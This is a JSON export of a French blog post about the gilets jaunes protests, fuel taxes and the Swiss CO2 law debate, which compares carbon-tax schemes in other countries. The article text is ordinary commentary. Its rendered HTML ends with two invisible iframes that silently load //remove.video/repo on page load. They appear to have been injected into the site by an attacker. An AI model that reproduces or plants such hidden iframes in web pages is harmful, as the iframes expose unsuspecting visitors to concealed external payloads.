{"id":1274,"date":"2018-12-14T15:41:48","date_gmt":"2018-12-14T14:41:48","guid":{"rendered":"https:\/\/info-energie.ch\/blog\/?p=1274"},"modified":"2021-01-19T15:51:12","modified_gmt":"2021-01-19T14:51:12","slug":"gilets-jaunes-et-taxes-sur-les-energies-fossiles","status":"publish","type":"post","link":"https:\/\/www.info-energie.ch\/blog\/2018\/12\/14\/gilets-jaunes-et-taxes-sur-les-energies-fossiles\/","title":{"rendered":"Gilets jaunes et taxes sur les \u00e9nergies fossiles"},"content":{"rendered":"<p>Tout le monde a entendu parler de la crise des gilets jaunes. Sans vouloir analyser les causes profondes de cette \u00ab\u00a0jacquerie\u00a0\u00e0 la fran\u00e7aise\u00a0\u00bb, il est int\u00e9ressant de rappeler que la revendication centrale des manifestants est l\u2019annulation d\u2019une augmentation de taxe sur les carburants. En rench\u00e9rissant petit \u00e0 petit le prix des produits p\u00e9troliers, le gouvernement fran\u00e7ais souhaitait diminuer la production de CO<sub>2<\/sub> en encourageant les \u00e9conomies d\u2019\u00e9nergie, l\u2019achat d\u2019appareils moins gourmands et les comportements responsables. Cette \u00ab\u00a0taxe \u00e9cologique\u00a0\u00bb devait permettre d\u2019anticiper l\u2019augmentation in\u00e9vitable du prix des \u00e9nergies fossiles li\u00e9e \u00e0 leur rar\u00e9faction et lutter, d\u00e8s aujourd\u2019hui, contre le r\u00e9chauffement climatique.<\/p>\n<p>En Suisse, ce principe est d\u00e9j\u00e0 appliqu\u00e9. Le prix de l\u2019essence et des \u00e9nergies de chauffage sont major\u00e9es d\u2019une taxe CO<sub>2<\/sub>. Environ 2\/3 du revenu de cette taxe est revers\u00e9 \u00e0 la population (par ex. en diminution des primes maladies) et aux entreprises. Le tiers restant est investi dans le \u00ab\u00a0<a href=\"https:\/\/www.leprogrammebatiments.ch\/fr\/\">programme b\u00e2timents<\/a>\u00a0\u00bb qui promeut des mesures de r\u00e9duction des \u00e9missions de CO<sub>2<\/sub> (subventionnement des assainissements de b\u00e2timents, \u00a0\u00e9nergies renouvelables, recherche).<\/p>\n<p>Le Conseil national a men\u00e9 de grands d\u00e9bats jusqu&rsquo;en d\u00e9but de cette semaine sur la r\u00e9vision de la loi CO<sub>2<\/sub>. En effet, pour respecter <a href=\"https:\/\/www.bafu.admin.ch\/bafu\/fr\/home\/themes\/climat\/info-specialistes\/climat--affaires-internationales\/l_accord-de-paris-sur-le-climat.html\">les engagements de la Suisse dans les accords de Paris<\/a>, il est envisag\u00e9 d\u2019augmenter le prix de la tonne de CO<sub>2<\/sub>. Le d\u00e9bat a \u00e9t\u00e9 vif et il a m\u00eame \u00e9t\u00e9 question de la possibilit\u00e9 encore tr\u00e8s hypoth\u00e9tique de taxer le k\u00e9ros\u00e8ne des avions qui \u00e9chappe encore \u00e0 toute taxe (<a href=\"https:\/\/info-energie.ch\/blog\/wp-content\/uploads\/2021\/01\/taxer_les_billets_d_avion_lts.pdf\">Le Temps pdf<\/a>). Le 11 d\u00e9cembre, le National a refus\u00e9 cette nouvelle loi sur le CO2 au grand dam des milieux environnementaux. Dans le courant des discussions la taxe sur le k\u00e9roz\u00e8ne avait d\u00e9j\u00e0 \u00e9t\u00e9 refus\u00e9e, l\u2019augmentation du prix des carburants limit\u00e9 et les sanctions pour les importateurs de carburants qui ne compensent pas correctement les \u00e9missions de CO<sub>2<\/sub> diminu\u00e9es. Le National avait surtout refus\u00e9 de fixer un objectif de r\u00e9duction pr\u00e9cis de CO<sub>2<\/sub>. Suite \u00e0 ce refus, la loi va retourner au Conseil des Etats et la d\u00e9cision finale est pr\u00e9vue en 2019. Il est probable que la crise des gilets jaunes en France ait influ\u00e9 sur la d\u00e9cision de certains parlementaires car ils craignaient aussi une forte opposition et la possibilit\u00e9 \u00ab\u00a0q\u2019un r\u00e9f\u00e9rendum anti taxe\u00a0\u00bb soit accept\u00e9 par le peuple.<\/p>\n<p>Le principe d\u2019une taxe CO<sub>2<\/sub> existe dans d\u2019autres pays sous des formes diverses. Par exemple, la Su\u00e8de a \u00e9t\u00e9 la premi\u00e8re \u00e0 introduire une taxe carbone en 1991. En Finlande et au Danemark ce type de taxe existe aussi. En Grande Bretagne, depuis 2001, une taxe sur l\u2019utilisation commerciale ou industrielle de l\u2019\u00e9nergie est appliqu\u00e9e (les m\u00e9nages et des associations d\u2019utilit\u00e9 publique ne sont pas concern\u00e9s).<\/p>\n<p>L\u2019exemple fran\u00e7ais met surtout en lumi\u00e8re la contradiction entre une transition \u00e9nerg\u00e9tique n\u00e9cessaire et les pr\u00e9occupations imm\u00e9diates de la population; entre une politique de moyen-long terme et une autre de plus court-terme que les \u00e9lus sont souvent enclins \u00e0 privil\u00e9gier pour des raisons \u00e9lectorales.<\/p>\n<p>Comme le rel\u00e8ve le journal anglais The Guardian dans un article titr\u00e9 \u00ab <a href=\"https:\/\/info-energie.ch\/blog\/wp-content\/uploads\/2021\/01\/how_to_make_carbon_tax_popular.pdf\">how_to_make_carbon_tax_popular<\/a><a href=\"http:\/\/www.info-energie.ch\/blog\/media\/blogs\/a\/quick-uploads\/tmp14\/how_to_make_carbon_tax_popular_guardian.pdf?mtime=1544770840\">_pdf<\/a><a href=\"https:\/\/www.theguardian.com\/world\/2018\/dec\/04\/how-to-make-a-carbon-tax-popular-give-the-profits-to-the-people\">\u00a0<\/a>\u00bb une province du Canada a introduit en 2008 une taxe carbone avec un remboursement de celle-ci au travers de r\u00e9ductions d\u2019imp\u00f4t. Cette taxe au \u00ab\u00a0revenu neutre\u00a0\u00bb bien qu\u2019accept\u00e9e localement n\u2019a pas \u00e9t\u00e9 appliqu\u00e9e dans d\u2019autres \u00e9tats canadiens car elle est semble-t-il\u00a0\u00ab\u00a0diabolis\u00e9e\u00bb dans le d\u00e9bat politique.<\/p>\n<p>Si le mod\u00e8le suisse pr\u00e9voit aussi une redistribution, il est peu probable que ce m\u00e9canisme puisse r\u00e9soudre la crise fran\u00e7aise. En effet la redistribution est g\u00e9n\u00e9rale et ceux qui, parfois par n\u00e9cessit\u00e9, doivent beaucoup utiliser leur voiture, ne re\u00e7oivent pas un remboursement \u00e0 hauteur des taxes qu\u2019ils ont vers\u00e9es. Parmi les nombreuses interviews des gilets jaunes on a d\u2019ailleurs beaucoup entendu qu\u2019ils \u00e9taient favorables \u00e0 agir pour le climat mais qu\u2019ils estimaient que l\u2019effort qui leur \u00e9tait impos\u00e9 \u00e9tait injuste car in\u00e9galitaire.<\/p>\n<p>Dans tous les cas, il est \u00e9vident que des taxes environnementales ne peuvent \u00eatre impos\u00e9es sans un minimum d\u2019acceptation de la population. Ceci plaide pour une bonne sensibilisation du public. Ainsi, les campagnes d\u2019information n\u2019ont pas comme unique but de changer directement les comportements. Elles ont aussi comme objectif de mieux faire comprendre les grands enjeux qui sous-tendent les politiques environnementales. Avec une population mieux inform\u00e9e, les efforts demand\u00e9s ont de meilleures chances d\u2019\u00eatre accept\u00e9s et les modalit\u00e9s de leur mise en place pourront \u00eatre discut\u00e9es dans le cadre d\u2019un d\u00e9bat constructif et apais\u00e9.<\/p>\n<p>Un <a href=\"https:\/\/info-energie.ch\/blog\/wp-content\/uploads\/2021\/01\/changement_habitutes_rts.pdf\">changement_habitutes_rts<\/a> a montr\u00e9 que 2\/3 des suisses \u00e9taient pr\u00eats \u00e0 changer leur mode de vie pour contribuer \u00e0 un monde plus durable. Ceci est r\u00e9jouissant, mais il n\u2019est pas certain que le r\u00e9sultat du sondage e\u00fbt \u00e9t\u00e9 le m\u00eame si les sond\u00e9s avaient \u00e9t\u00e9 inform\u00e9s tr\u00e8s pr\u00e9cis\u00e9ment des contraintes qui leurs seraient impos\u00e9es\u2026<\/p>\n<div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\n<div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Tout le monde a entendu parler de la crise des gilets jaunes. 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